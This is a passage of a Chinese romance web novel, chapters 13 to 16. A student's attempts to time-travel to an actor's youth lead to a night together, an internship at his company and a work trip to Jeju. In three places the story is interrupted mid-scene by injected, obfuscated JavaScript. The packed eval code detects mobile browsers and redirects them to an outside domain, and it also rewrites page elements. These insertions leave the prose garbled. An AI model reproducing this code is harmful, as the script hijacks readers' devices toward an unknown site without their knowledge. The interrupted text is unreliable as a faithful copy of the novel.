虽然谢安琪觉得他这样挺不像他的,但心里藏不住的情绪告诉她,她其实愿意去的。大概是因为心里喜欢着?不过她只是告诫自己好久没看到他,就算是看帅哥也得去一趟。 夜色沉落,城市像一只缓慢呼吸的野兽,将呼吸藏在了街角霓虹的光影之中。 江南区的那家酒吧今晚居然还没关灯。玻璃门映出一小截斜斜的月色,也映出谢安琪裹着风衣靠近时低头沉静的眉眼。 距离她回学校住也有一个多月,她和郑禹胜联系归联系,但也就是电话里问问在做什么,关心也存在,但话语也都是简单的那种。 就好像总是在其中隔阂着什么一样。 谢安琪不知道郑禹胜是为什么,但她是喜欢着但又不敢像对着年轻的他那样恣意张扬的喜欢。 她推门进去,暖意和轻爵士顿时裹住了她。 吧台那边传来调酒杯轻撞的声音,男调酒师抬眸看了她一眼,认出了这女孩。 “又是你啊,今晚还是一杯白兰地?” 谢安琪笑了一下,声音轻轻的:“换个口味吧,琴酒,少点冰。” 她说完,就坐到了靠窗的位置。 她本不是个爱喝酒的人。 但今晚她得来。因为她知道,郑禹胜说要陪朋友来这家店“散散酒”,其实就是怕被人拉着灌醉。但是他也没有要她来,却要跟她说这样的事情,真是让人无奈。 而郑禹胜多来不会主动喝醉,除非身边坐着让他安心的人。就像以前两人一起出去里,他人算是沉默类型的,或者一次摄影采风时偶尔多说的几句闲话。 谢安琪抿了一口酒,冷凉的液体顺着喉咙滑下去,她没有皱眉,眼神却柔下来。 不远处传来一阵男声笑闹,一群人推门进来。她的视线从镜面里看到那熟悉的身影—— 他来了。 郑禹胜穿着灰色风衣,头发有些湿,像是淋了点雨。他的朋友们都说说笑笑地往里走,只有他轻轻看了一眼吧台的方向,然后径直去了最里面的卡座。 谢安琪不动声色地起身,端着杯子缓缓走了过去。 她没有直接靠近,只坐在了他隔壁的一桌。身子轻轻侧过,眼尾余光刚好能将他揽住。 他今天看起来很疲倦,唇色也淡了许多,眼角却还是温柔。 直到他的朋友又开了一瓶酒,闹哄哄地劝他喝,他才低头笑了笑:“我真醉了。” “装什么呢你,我们还不知道你?”有人笑着说。 郑禹胜借起身离开,正好对上谢安琪那双含着些许醉意的眼睛。 她也没避开。 反而抬了抬酒杯,嘴角勾着一丝带着挑衅的笑,像是在问,真的醉了吗?郑禹胜没说话,只是看了她两秒,然后对朋友说了句:“我先走了。” 他走得很快,谢安琪隔了一分钟才站起来。 夜风将她的酒意吹得更热了些,她脚步轻缓地跟着他出了酒吧,远远看到他靠在路边的石墙上抽烟,风吹得他发梢有些乱。 她走过去,开口的时候带着一点点故意装出来的软腔调:“郑禹胜……” 他侧头看她,没说话。 “你真的醉了吗?”她笑着,歪了下头,“还是,其实你是在装醉?” 郑禹胜慢慢吐出一口烟,嗓音低沉:“我演得不像?” “那你配合得还挺自然。”谢安琪走近了两步,眸光温软,“不过我没醉。” “我知道。”他声音很低,像是故意留了一些距离,又像是怕这夜太长。 “你去哪?”她问。 “酒店。”他说,“前面有家熟的,走得动吗?” “你不是醉了吗?” “现在有点清醒了。” 她走在他旁边,风将两人影子拉得很长。他没再说话,只是偶尔低头看她一眼,手始终插在风衣口袋里,没有碰她。 酒店是酒吧对面的那家,木质地板,走廊安静得只听得到他们两人的脚步声。 房间门一关上,谢安琪忽然靠近了一步:“郑禹胜……” 郑禹胜终于抬手,轻轻按住她的肩膀,带着一点点劝慰的意味。 “你还在念书。” 念书,所以担忧有些事情多了,她会受到伤害。 “可你知道我不是小孩子。”她说完这句话,抬眸看他,黑白分明的眼里是夜色也盖不住的认真。 他轻轻叹了口气,喉结滚动了一下。 “安琪,那今晚的事,明天还记得吗?” “当然记得。”她笑,酒意开始蒸发,“你会后悔吗?” 郑禹胜没有回答。他只是靠近了她,手指掠过她的鬓角,动作轻得像风。 “这又何谈后悔的事情。” 这段时间,谢安琪都忙于学业,上一次回到过去的时候,卡在作业提交的ddl,好在最后回来的时间是合适的,她作业都交上去了。 但为什么会回到过去? 确定是梦?或者说真的是现实? 谢安琪心理有些想法,她打算试验一番。 只是这样的情绪,像是昏暗的空间里残存的月光一般,昏黄的。 夜色落进窗帘,床头灯昏黄。 谢安琪坐在床边,风衣已经被她自己解开。她有些醉了——这一次是真的。郑禹胜半跪在她面前,替她解鞋带,声音温温的:“冷不冷?” “有点。”她声音轻轻地,靠过去,头靠在他肩膀上,“你抱抱我吧。” 他没有犹豫,伸手轻轻环住了她的肩膀。 那一瞬间,她几乎想哭。不是因为委屈,而是她终于等到了一个不躲她、不拒绝她、也不利用她的夜晚。 他们都没有说“喜欢”两个字。但那晚的风、酒、灯、和彼此的温度,都柔软得像是许诺了什么。 …… (省略晋江不让写的。) 清晨的光透过厚实的窗帘缝隙,落在床沿,洒出一小块温柔的影子。 谢安琪醒得比想象中早一些。 她没有立刻睁眼,而是先感受到了一种被环抱的温度。身侧的男人体温很稳,也很安静。他的手臂还搭在她腰上,呼吸落在她后颈,缓慢而平稳。 她没有动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471772|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只是静静地躺了一会儿。 昨天夜里的情绪像酒精那样,还残留在身体里,没有蒸发干净。 她记得自己的主动,记得他低声问她冷不冷,也记得他眼底那一点隐忍的温柔。他时而如她期待的热烈,时而又变得温柔,他只是在她需要靠近的时候,轻轻地,稳稳地接住了她。 谢安琪轻轻转了个身,想看看他。 郑禹胜还在睡。 他睡着的时候,少了平日里的疏离感,眉间轻蹙,像是做了梦。谢安琪忍不住伸手,轻轻拨了一下他额前的碎发。 她的动作很轻,但他还是醒了。 眼睫颤了两下,然后缓缓睁开眼。 一瞬间,他们四目相对,彼此都愣了一下。 “早。”她声音有点哑,还带着一点刚醒来的软。 郑禹胜没说话,只是目光落在她的脸上,眼神慢慢温和下来。 谢安琪忽然觉得有点羞,往后缩了缩。 “那个……你还记得昨晚的事吗?”她问。 “记得。”他的声音低低的,“没醉到那种程度。” 她咬了一下唇角,小声道:“那你后悔吗?” 郑禹胜看着她,眼底像是藏着一层光。他没立刻回答,而是抬手,轻轻替她拉了拉被角,动作像是在认真考虑什么。 “我只担心你会后悔。”他说。 谢安琪怔了一下,随即摇头:“我不会。” 她顿了顿,又抬起眼,直直看着他:“要后悔的,是你吧?” 郑禹胜盯着她看了一会儿,忽然轻笑了一下,声音里带着一点纵容:“谢安琪,你在勾引我。” 她一愣,随即撇过脸:“……你昨天没勾引我一样。” 他笑意更深了一些。 两人安静了一会儿。 阳光慢慢爬上床沿。她笑着,像是故意要掩盖紧张,又像是在试探,她想起来一些事情,忍不住附进他的怀里,知道她的情绪,郑禹胜沉默了两秒,然后伸手将她揽进怀里。 “要起来吗?” 她埋进他怀里,鼻尖贴着他胸口,听到他心跳很稳,一下一下的,像极了昨晚他撑住她身体时的力道——温柔,克制,却不容忽视。 谢安琪轻轻笑了一声,没有再说话。 她知道,他们之间的关系,已经悄悄地走进了某种认真而隐秘的东西。 一种,比酒更醉人的东西。 不过,谢安琪等了许多天都是熟悉的日常,她没有如自己猜测一般,回到过去,那些应该是梦吧?谢安琪心里突然又想到这个念头。 但最怕人在感情里有着不切实际的欲望和幻想,她总想着回到过去,想要确认那是事实还是虚幻,但实际上本来就不需要存在这样的心绪。 爱情总是当下的,何必总想着过去的事情呢。 “怎么会失败呢?难道不是因为这个? 难道是需要单纯的亲吻? 可是她什么时候,她在什么时候有亲吻过他吗? 似乎是没有的,这些事情都存在她的心里。 但或者是过于沉迷于找到答案,她反而忽视了那晚带来的转变… 14. 第14章 谢安琪从梦中醒来时,天刚亮。 天花板纹理还未在晨光中完全显露出来,她静静地睁着眼,头发散在枕上,像是刚刚落下的夜色。 她并没有回到过去,并没有实体感。这是个困扰她的事情,但她依稀觉得应该是梦里见过, 梦里少年郑禹胜坐在弘大的阶梯,单薄的黑衣,低头抱着吉他,神情疏离。他身边人影涌动,却像完全听不见周围人的声音。他只是坐在那里,眼神穿过人群,看向一个虚无的位置。 她在梦中想要走近、喊他、触碰他。 却像水中影子那样,被一层时间的玻璃隔住了。 谢安琪坐起身,轻轻呼了口气。 她知道梦不是幻觉。那是某种无法解释的“时间回溯”,某种情况下,她就能穿越回“他的人生”,但明显她昨天实验的方法失败了。 如果她能看见过去的他,也许能找到那段时间里,她突然想知道的答案。但她也知道,这一切的基础,是找到办法。 她捂着额头,半是懊悔半是羞愧地叹了口气。 说实话,昨晚她确实是带着目的靠近的。可她没想到,他会那样认真。 …… 郑禹胜从那天之后,变得不一样了。 谢安琪感受得到——他在不动声色地靠近她。 他的kakao开始频繁出现在她的对话列表;他还给她转了一本小众摄影集,说“你之前说喜欢光影构图”;她回一句“谢谢”,他却沉默了很久,后来只是补一句:“书背后那张签名,是少年我写的。”他的语气还是克制的,而她,每次看见他时,心底就有一点模糊的酸。 她想继续“实验”,继续寻找回去的办法,一次不行就再试一次,谢安琪这样安慰自己。她试着靠近别人,想复制梦境,但失败了。或许方法不在谢安琪认为的方法中,但依旧需要郑禹胜本人的牵引。 …… 大四下学期,她没能进NBS电视台的实习名单,可最后一轮出了问题。她没争辩,没解释,只是默默删掉了简历文件夹。 几天后,她发现KCL也在招实习生。她几乎是条件反射般地否定了。可到了临近截止的夜晚,她还是点开了那个投递链接。 【KCpany·新媒体部实习生】 她点开谷歌表格,提交时,她盯着进度条,心跳缓慢,像是知道这一投,就会改变什么。 面试那天是个阴天。 她穿着米色风衣,头发扎成低马尾,抱着一叠材料走进KCpany的落地电梯。她没告诉任何人她要来这家,甚至连自己也想假装这只是一场普通面试,反正郑禹胜天天拍戏,估计也没时间来面试吧。 前台小姐姐给了她一个贴纸:“新媒体部,九号面试间。”她走进去时,桌边坐着两位HR,还有一位低头翻文件的男人。 那一秒,她愣了。 郑禹胜抬起头,看到她的那瞬间,眼神明显怔了几秒。他穿着深灰色衬衫,袖口卷起三分,眼底带着一点清晨没散尽的疲倦,却因她的出现微微清亮。 HR笑着介绍:“这位是我们公司社长郑先生,他今天刚好在公司,说要一同了解我们的实习生。” 她点头致意,语气平稳:“您好,郑先生。” 郑禹胜只是“嗯”了一声,然后低头翻开了她的简历。 目光停留了很久。 “先自我介绍一下吧。”他突然开口,语气不温不火,“不过,你的专业多数学生都去NBS实习,你怎么考虑来KCpany的。” 谢安琪沉默。 然后她实话实说,“因为我没有申请上NSB的实习,所以来了。” 谢安琪想:看吧我态度这么差,快淘汰我。 他继续看着她,语气终于带上了点情绪:“所以,我的公司,是你最后的选择吗?” 空气一瞬间冷下来。 HR显然没想到他会直接说出这种话,一时间也沉默了。 谢安琪抬起眼,看着他。她张口想说“我没有别的选择”,可那太假了。 但一方面,她确实是主动来的。 她自己都没意识到的,她不是来实习,是来——看他。 面试似乎不是很好,结束后,郑禹胜在电梯里堵着她。谢安琪还记着郑禹胜先让hr离开,而后轻轻合上她的简历,低声道:“你每次靠近我,都带着目的,是不是?” 谢安琪握紧了裙角。 她知道他误会了。可她无法解释。 她不能说出“我是为了试验怎么回到过去见年轻的你。” 那太荒谬,也太伤人。于是她只是沉默,像那天在床上醒来时一样,眼睫轻颤,却没给出回应。 没有回答,电梯到1楼,他没再看她。 两天后,谢安琪收到录用通知。 邮件结尾只有一句附言:“我们在四楼有一间空办公室,钥匙在前台,郑先生说是你一个人的。” 她第一次走进那间办公室时,桌上放着一本剧场摄影集,第一页贴着一张票根—— 【KCpany·春季特场】 她心脏一震。 这个电影集里很多郑禹胜年轻的时候的剧照,那是她和少年郑禹胜在擦身而过的时间。 她忍不住猜测,或者郑禹胜知道。 他一直记得她。 或者说他认出了她,才会莫名其妙找她结婚吗? 她却以为,只有自己拥有记忆。 那天下班,她在楼下看见郑禹胜一个人坐在长椅上抽烟。 他没有看到她。 她却轻轻走过去,站在他面前,望着他说:“你为什么给我录取邮件?” 他仰头看她,眼里一片疲惫。 “因为我不想你走。”他说,“我希望你留下来。” “你知道我为什么来?” “我不知道。”他说,“这个无所谓,我只知道希望你留下来。” 谢安琪喉头发紧。 风吹过高楼玻璃,落在他未熄灭的烟上。 谢安琪走过去,轻轻牵住了他伸出的手。 郑禹胜抬头看她,眼神克制,但也带着坦然的爱意。 “郑禹胜。”她轻轻喊了一声。 他握紧她的手,像握住一个终于靠岸的梦。 … KCpany四楼的办公间,灯是柔黄色的。 谢安琪桌上每天一杯咖啡,跟自动刷新的一样,每次看到就知道是谁准备的,想到这,她试图理清脑子里缠绕不清的情绪。 她来这家公司第三周了。 除了入职第一天的“冷场面试”之外,她再没和郑禹胜正面交谈过。但他几乎每天都出现在四楼,开会、审片、陪客户,甚至偶尔在办公区的长桌旁安静看一份文案。 他没有特权式的靠近她。 但他总是在“刚好路过”、“恰好帮她拿文件”或者“无意中送外卖”中出现。 比如前天中午。 外卖小哥走错楼,她正焦急打电话,他却从电梯里走出来,顺手递来那份纸袋饭。 “你是不是饿了?早上出门忘了带饭卡。” 他说得自然又贴心,仿佛他们住在一起一样。 谢安琪只看了他一眼,没说谢谢,默默把饭接过。 郑禹胜却站着没走。 “你昨天笔记写得不错,‘镜头与情绪同步’那句我很喜欢。” 他说完这句,又顿了下,“是你写的吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471773|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢安琪低头:“是。” “那你喜欢哪部戏的镜头最动人?” 她抬眸,语气不快不慢:“你演的那部《日落》,第52分钟,海边日出那一段。” (瞎编的电影) 郑禹胜怔了怔。 那是他成名之前拍的独立文艺片,极冷门。她能说出那一段,说明看得很认真。 “那段拍得太冷了,”他说,“我当时是真的发烧,在海边站了两个小时。” “你看起来不冷。”她轻声道,“镜头里你背着光,眼神很温。” 他望着她,忽然低笑一声:“谢安琪,我很难不误会你对我有感觉。” 她没接话,只是低头咬了一口饭。 那口饭很咸,像她强行压住的心跳。 * 那天晚上,她在公司楼下碰到他。 她下班晚了,错过地铁,站在门口准备打车。 他从楼道走出来,手里拎着剧组资料。 “你要去哪?” “宿舍。”她下意识道。 他把车钥匙递给她:“我开车送你。” “不用了。”她往后退了一步。 “安琪。”他忽然叫她的名字,很低很慢,“你越来越逃我了吗?” 她抬头看他。 郑禹胜站在夜色里,背光的眼神显得更深。他不是在质问她,更像是单纯地难过。 “你以前靠近我的时候,眼睛是亮的。”他说,“现在,你都不看我了。” 她喉咙哽了哽,这个男人,呵! “你以为我是故意的吗?”她问。 “不是吗?” “我不看你,是因为——”她顿了顿,“ 我在想见到年轻的你会如何?” 话一出口,两人都静了。 风吹过树叶,夏夜的蝉鸣都像隔了远。 他轻轻呼出一口气。 “怎么可能呢?”他低声问,“回到我的过去。” 她睁大眼看他:“我知道。” 他没有过去的记忆吗? 谢安琪认为这是她适于猜测的问题得到了答案。 “你也知道,我不能退了。”他说。 谢安琪心底一阵疼。 她曾经以为自己掌握主导权,可现在她才明白,真正主动靠近的人,一直是他。 * 次日公司晨会。 她坐在后排做记录,郑禹胜照旧走进来,拿着一份剧本讨论会要用的分镜表。 会议开始前,他坐在她身边,低声说了句:“你今天头发好看。” “谢谢。” “你剪了刘海?” “前几天就剪了。” “我最近拍戏,看得不太清。”他说,“不过现在看得很清楚。” 谢安琪没再说话。 可是整场会议她都没能集中注意力。 郑禹胜在讲镜头语言,她却一直听到他低哑的声音在耳边说——“你也知道,我不能退了。” 会议结束,她快步走出会议室。 他追了出来,在走廊尽头叫住她。 “谢安琪。” 她转过头。 “今晚陪我去个地方。”他说, 她心跳漏了一拍:“哪里?” “带你见年轻的我。” 她震惊地后退一步。 “真假?” “当然是真的。” 然后走过去,伸手抱住她。 走廊的灯暖暖的,映在他肩膀上,也映在她的眼角。 KCpany的大楼依旧灯火通明。 没人知道,他们在冷白的职场走廊里,完成了比任何电影还动人的情节反转。 15.第15章 KCpany四楼的办公区,午后阳光从西边落地窗斜照进来,把地毯映出一小块温热的橘色光斑。 谢安琪趴在电脑屏幕前,戴着耳机,屏幕上播放的是一部十年前的独立文艺片。 镜头里男主穿着旧毛衣,在空旷的天台抽烟,他眼睛一直看着天边直到太阳升起,音乐轻柔,她却感觉到一种令人窒息的逼仄,在那里他是一个次次失败的拳击手。 郑禹胜——那时才刚出道,脸还没现在这样棱角分明,眼神却比现在更锋利。 谢安琪盯着屏幕看得出神。她已经把这部电影看了三遍,可每次看,都能找到不同的情绪细节。 “哎?你在看《日出城镇》?”身旁传来一个同事惊讶的声音。 谢安琪猛地摘下耳机,下意识挡了一下屏幕。 “……是啊。”她笑得有些僵。 “你也是郑演员的粉丝啊?我还以为你和他认识,应该习惯他那张脸了。” 另一人也凑过来:“你这眼神……不像是第一次看吧?眼睛都快贴上去了。” 谢安琪忙按下暂停键,避开了他们调侃的视线:“我不是粉丝。” 几个人愣了愣,彼此交换了个眼色,有人小声说:“不是粉丝,看那么认真做什么?” 她没吭声,只把耳机摘下,点了保存,关了页面。 就在这时,茶水间的门“哐”一声被推开,有人端着咖啡路过办公区。 是郑禹胜。 他刚从三楼会议室上来,经过这里,听到几人说笑。 那句“我不是粉丝”,他听得清清楚楚。 他脚步顿了顿,眼神朝谢安琪那边扫了一眼,没停,径直走向走廊尽头的资料室。 气氛一时有些尴尬。 谢安琪看着他离开的背影,忽然觉得胃一阵绞紧。 她回到自己的小办公室,盯着桌面半晌没动。 她当然知道他听见了。 郑禹胜从不是那种情绪挂脸上的人,他所有的不悦和失望,都会在沉默里发酵,变成令人愧疚的安静。 谢安琪烦躁地揉了揉头发。 她的确不是“粉丝”。 不是那种会在评论区刷“老公”、会买代言、会为应援投票的粉丝。 她看他的电影,是因为他演过她梦里那个男孩的影子,是因为她想理解“过去的郑禹胜”,想从光影中找到一点自己无法亲口问出的答案。 可这一切,他不知道。 而她,也没机会解释。 直到快下班时,部门群里发来通知: 【明日早上10点,下季度策划初审将开始,请内容组提前准备好各自项目提案,营销组也需要在现场。】 谢安琪愣了一下。 桌上那张草稿纸上,有她不小心写下的一句旁白: “人眼里映出的光,永远不是镜头能剪辑出来的——除非你在意。” 她拿起那张纸,揉了,又展开,最终轻轻压在文件夹底下。 她决定,去找他说清楚。 晚六点,公司逐渐空了。 她在电梯口等了一会儿,看到行政小助理从资料室出来,说:“郑总还在楼上。” 谢安琪点点头,转身走向五楼。 五楼是KCpany的剧本审片区,常年拉着窗帘、灯光昏黄,走廊尽头有一间不太常用的会客室。 她推开门,郑禹胜果然在。 他站在白板前看分镜图,身侧的马克杯还冒着热气。他穿着黑色衬衫,袖子挽起,显得安静而冷淡。 她轻轻敲了敲门。 “可以聊两分钟吗?” 他回头,看见她,眼神闪了一下,但没说话。 谢安琪走进去,站在他不远处,低声说:“关于今天下午的事,我想解释一下。” 他没动,只“嗯”了一声,等她继续。 “我不是粉丝,”她开口,“是实话。” 他说:“我知道。” “但我看你的电影,是因为我真的很想理解你过去的样子。” “理解我?” 他终于看着她,语气像笑非笑:“你接近我、睡我、进入我公司,现在说不是粉丝,而是为了‘理解我’?” “我不是那个意思。”她喉头一紧,“你知道我不是来追星的。” “是啊。”他点头,语气放缓,却更难受,“你从来不是为我现在来的。你是为了过去的我。” 谢安琪不说话。 他转身回到白板前,说:“我拍了那么多年戏,你不是唯一一个研究我过去的人。但你是唯一一个,在我身边却还在想‘回去’的人。” 谢安琪愣在原地,嗓子发干。 “我从你说‘不是粉丝’那一刻起就明白了。”他说,“你不是不喜欢我。你只是更喜欢那个,在你记忆里、梦里的我。” 她一步一步走过去,声音发颤:“郑禹胜,如果我说,我现在也喜欢你呢?” 他抬眼看她,眼神像蒙了一层灰。 “那是因为我和梦里他有几分像?” “不。”她摇头,“是因为你会在我说冷时递外套,会在我低落时递饭盒,还会在我失眠时讲自己拍戏失败的故事。” “你不是他。”她说,“你是你。你让我不再只想回到过去。” 郑禹胜怔了一下,眼神松动。 “那你愿意留下吗?”他问,“愿意只看现在的我?” 谢安琪走近一步,眼眶红了:“我已经留在这儿了不是吗?” “那你明早要不要来早一点?”他忽然轻声说。 她一愣。 他低头看她,“我想听你讲讲,你心里现在的我,有没有比梦里的我,多一点分量。” 梦里的我?梦里的我。 谢安琪从来没有想过郑禹胜可能会记得什么。 她只觉得难道是自己在梦里的时候,说了什么梦话吗? 谢安琪离开会客室时,心口还跳得厉害。 她回头看了一眼那盏昏黄的吊灯,灯光落在他黑衬衫的肩上,像某种柔软得不真实的回应。 而他站在灯下,目送她离开,像是终于等来了一个真正“朝他而来”的人。KCpany新一季度IP孵化项目发布会定在了周五下午。 会场选在首尔市江南文化展厅三层大会议厅,光线透亮,背景板是深蓝底金色字——“造梦者计划发布会”。 谢安琪作为营销组新人,原本只是来协助文案资料的,不需要上台。但因为她提出的一个提案片段被列入展示内容,临时被安排参与互动答疑环节。 她在后台等候时,郑禹胜正在前台做开场陈述。 他换了深色西装,打了黑色细领带,头发比平时更整洁,镜头捕捉下来的轮廓分明,整个人散发着“主场”的从容。 谢安琪站在侧幕,看着他。 她忽然意识到——这是她第一次从“观众”视角看他工作。 那份聚焦、条理、逻辑,以及偶尔一个轻笑间的魅力张力,几乎让她忘了,这个男人前两天还在灯光昏黄的会客室里对她低声说: “你不是来看我过去的。” “你是来看现在的我。” 她低下头,不敢再想。 轮到互动环节时,有观众问到内容组的年轻创作者想法,主持人笑着说:“我们今天现场也请到了我们内容部最近的年轻血液——谢安琪,大家欢迎她上台。” 掌声落下,她被推着走到台中央。 镁光灯打在脸上,有点晃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478744|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拿着麦克风,说话语速有点快:“我是‘城市听觉记忆’项目成员……这是一组围绕‘声音与记忆如何交织’展开的短片计划,我们想捕捉的是——那些通常被忽略的片段,比如便利店冰箱启动时的低鸣、天桥下雨水滑过管道的节奏、以及人群散去后留在公交站的风……” 话还没说完,台下忽然传来一个轻笑: “你是郑老师粉丝吧?我们看后台有人在你座位上看到你看《日出城市》三遍,写了一堆旁白分析。” 会场笑了一片,连主持人也笑着打趣:“安琪,你要不要澄清一下?到底是专业研究,还是私人兴趣?” 现场镜头忽然推到她脸上。 谢安琪脑中一瞬空白。 而此刻,坐在第一排的郑禹胜,也正看着她,眉心微动。 谢安琪垂着眼,嘴角勾了勾,声音温柔却带刺: “我不是粉丝,我只是对剧本有兴趣。郑老师演过的作品,也只是我分析的对象之一。” 全场再次爆笑。 主持人识趣地圆场:“好,专业角度第一位,感性部分……我们留到私下再聊。” 她鞠躬退场。 在退场瞬间,她余光扫到郑禹胜,他没有笑,只是看着她,眼神复杂,像是想起了什么又压了下去。 发布会后。 她没有和任何人打招呼,直接搭地铁回家。 耳机里放的是她提案里那段“城市听觉”的原始录音—— 【夜里车窗合上的声音、老人推车碾过砖缝的轮声、楼上滴水的节奏……】 她眼睛有点涩。 她知道那句话伤人。 可当众被拿来“调侃”,而他又在台下沉默,她就像一只独自站在台上的玻璃动物,被人敲了一下,就碎出一圈波纹。 晚上十一点。 她手机突然震了一下,是郑禹胜发来一条讯息: 【能开门吗,我在你楼下。】 她怔了几秒,然后起身下楼。 车停在地下停车场,他站在边上,身上还穿着白天那身西装,只是领带松开了,头发有点乱,像刚经历一场沉默风暴。 “你怎么来了?”她声音哑哑的。 “想跟你说点事。” 她没说话,转身跟他进车里。 郑禹胜坐在驾驶位,眼神盯着她:“你下午说的那些,是在故意和我划清界限吗?” 谢安琪:“你知道我不是粉丝。” “可你当众说‘我只是分析对象之一’。” “那你当众为什么不说话?”她回望他,“你就那样看着我,像是我配被人拿来开玩笑。” 他喉结动了动:“你希望我说什么?” “说‘她不是粉丝,她是我喜欢的人’,你说得出口吗?” 郑禹胜一怔。 半晌后,他走近一步,低声说:“说得出口。” 谢安琪抬头,眼神发红。 “可你没说。”她哽咽道。 郑禹胜伸手,把她抱进怀里。 “对不起。”他声音低沉,“我不该让你一个人站在那种场合里。” “我也该想起你从来不擅长承认情绪。” 她轻轻抬手环住他,鼻音带着委屈: “我不是分析你,我是真的很在意你。” 他低头,额头抵着她的发顶:“我知道。” “我以后不让你在众人面前难堪了。” “那我以后也不在众人面前逞强了。”她轻轻笑,“我可以说我是粉丝,但不是路人的那种,是……睡过你,喜欢过你,还想一直看你演戏的那种。” 郑禹胜失笑。 他抱紧她,像终于解开了一个无声的结。 是拥抱,不是试探。 16.第16章 去济州岛的拍摄计划,是在一次内容组的例行策划会上突然定下的。 KCpany联合韩国文化艺术振兴院,发起一个名为《边界上的艺术生活》的纪录短片项目。 第一站选在济州岛南部一片由旧渔村改建而成的驻地艺术区。 项目目标是以“城市与海岛边缘的创作者群体”为核心,用纪录视角呈现艺术创作与地景生活之间的微妙关系。 拍摄人选原定是内容组配合导演小组派两人前往取材,出镜部分由驻地艺术家本人完成。 可就在议题临近收尾时,郑禹胜忽然出声: “我去。” 会议一瞬间安静下来。 内容组主管笑着试探:“可是您的通告不是……” “济州岛那边有个早期拍摄场地,我刚好可以顺路看看。”他转了转笔,语气淡淡,“顺便做调研。” “那……需要搭配一个团队同事?” “谢安琪吧。”他说得平稳,甚至没抬头看她。 谢安琪坐在长桌另一端,手指微微一滞。 她没料到会被点名。 会议室里几人交换眼神,有人小声咕哝:“她不是实习吗……” 主管拍板:“也好,安琪最近在负责空间采样文案,现场也需要文字统筹。” 她点头应下,没有辩解,也没有感谢。 只是笔记本上那行刚写好的句子,笔迹忽然收紧。 她知道,这不是“顺便”,也不是巧合。 但她不会问,没有必要,而且她知道,他们都不会问。 出发那天早上,机场一号登机口前。 谢安琪提前到了,穿着灰蓝风衣,头发简单束起,身旁只放了一个不大不小的黑色登机箱。 她翻着平板,在复核拍摄设备登记表。 郑禹胜是登机前十五分钟才出现的。 他穿着深灰夹克,牛仔裤,肩上斜背着一只单肩摄影包,拖着随身行李,头发微乱,眼下有轻微的青影。 “昨天拍摄电影出了点状况,通告延后。”他走到她面前,说得像是一句不带情绪的播报,就好像前几天的缠绵都是虚假的幻想。 谢安琪对于他的变化,心里有些异样,但表面也只是点了点头表示了解:“资料我提前传给你了。” 他“嗯”了一声,把行李推进托运口,接过她手里的登机单,“走吧。” 他们并排而行,却不说话。 不像夫妻,像公事公办的拍档。 这是他们婚后第一次出远门。也是第一次,在无人知情的场合,长时间共同出现。 但没有人知道他们的身份。 对KCpany来说,他们“老板与实习统筹”;对这趟旅程来说,他们是“偶然组合的工作搭档”;而对他们自己而言,他们是—— 一纸三年合约下的“沉默同居者”。 虽然时而变得缠绵,但经常性冷漠,就好像只有夜色和酒才能唤醒沉睡的爱意一般。 …… 飞机起飞后,谢安琪很快进入了工作状态。 她戴上耳机,一边翻文件一边标记路线,在平板上画出拍摄重点区域:西归浦旧渔场、石头爷爷雕像走廊、无人码头和那座被改造成艺术工坊的老灯塔。 她写得专注,时不时抬头望向窗外云层。 郑禹胜则坐在她旁边,一直闭着眼睛。 直到她侧身拿水时,不小心碰到他手背,他才轻轻动了动。 “我没睡着。”他低声说,“你在标灯塔?” “嗯。” “我记得那里早上光线很斜,适合拍定格。”他说完,又闭上眼睛,“以前拍电影就是在那边。” 谢安琪抿唇点头,没说话。 他的声音像从很远的地方传来,又像贴得极近。 她不敢问他为什么记得这么清楚。 也不敢问,他是不是也记得——十几年前初夏的旧港口,她站在海边,见到还是少年的他,那时的郑禹胜为她弹奏音乐,想起她说要学剪辑,他说:“以后我拍广告,你来剪吗?” 那是她从过去带回来的记忆。 但现在,她不确定,他是否也背着同样一段。 所以她不问,他更不会说。 到达济州岛已是下午三点。 制作团队安排他们入住艺术区边上的民宿旅馆,建筑是由旧盐仓改造的两层木屋。 前台误会他们是情侣档创作者,笑着给他们一间双人房。 “预约上写的是一间房哦,而且是你们自己填的。”前台小姐姐翻着表单,语气和善,“如果要换的话,可能需要明天才有空房。” 郑禹胜没说话,只轻轻扫了谢安琪一眼:“行,就这样吧。” 谢安琪点头。 房间在二楼,推门进去是一张双人床、一张旧藤椅、和一排落地窗,窗外就是碎石海岸和一排排低矮的石墙。 她放下行李,低头看了眼床,又看了眼墙角的木制长沙发。 “我睡那边。”她轻声说。 郑禹胜没反对,就像是忘记了前几日的拥抱。 他只是走过去,把自己的摄影包放到藤椅上,然后开始调试设备。 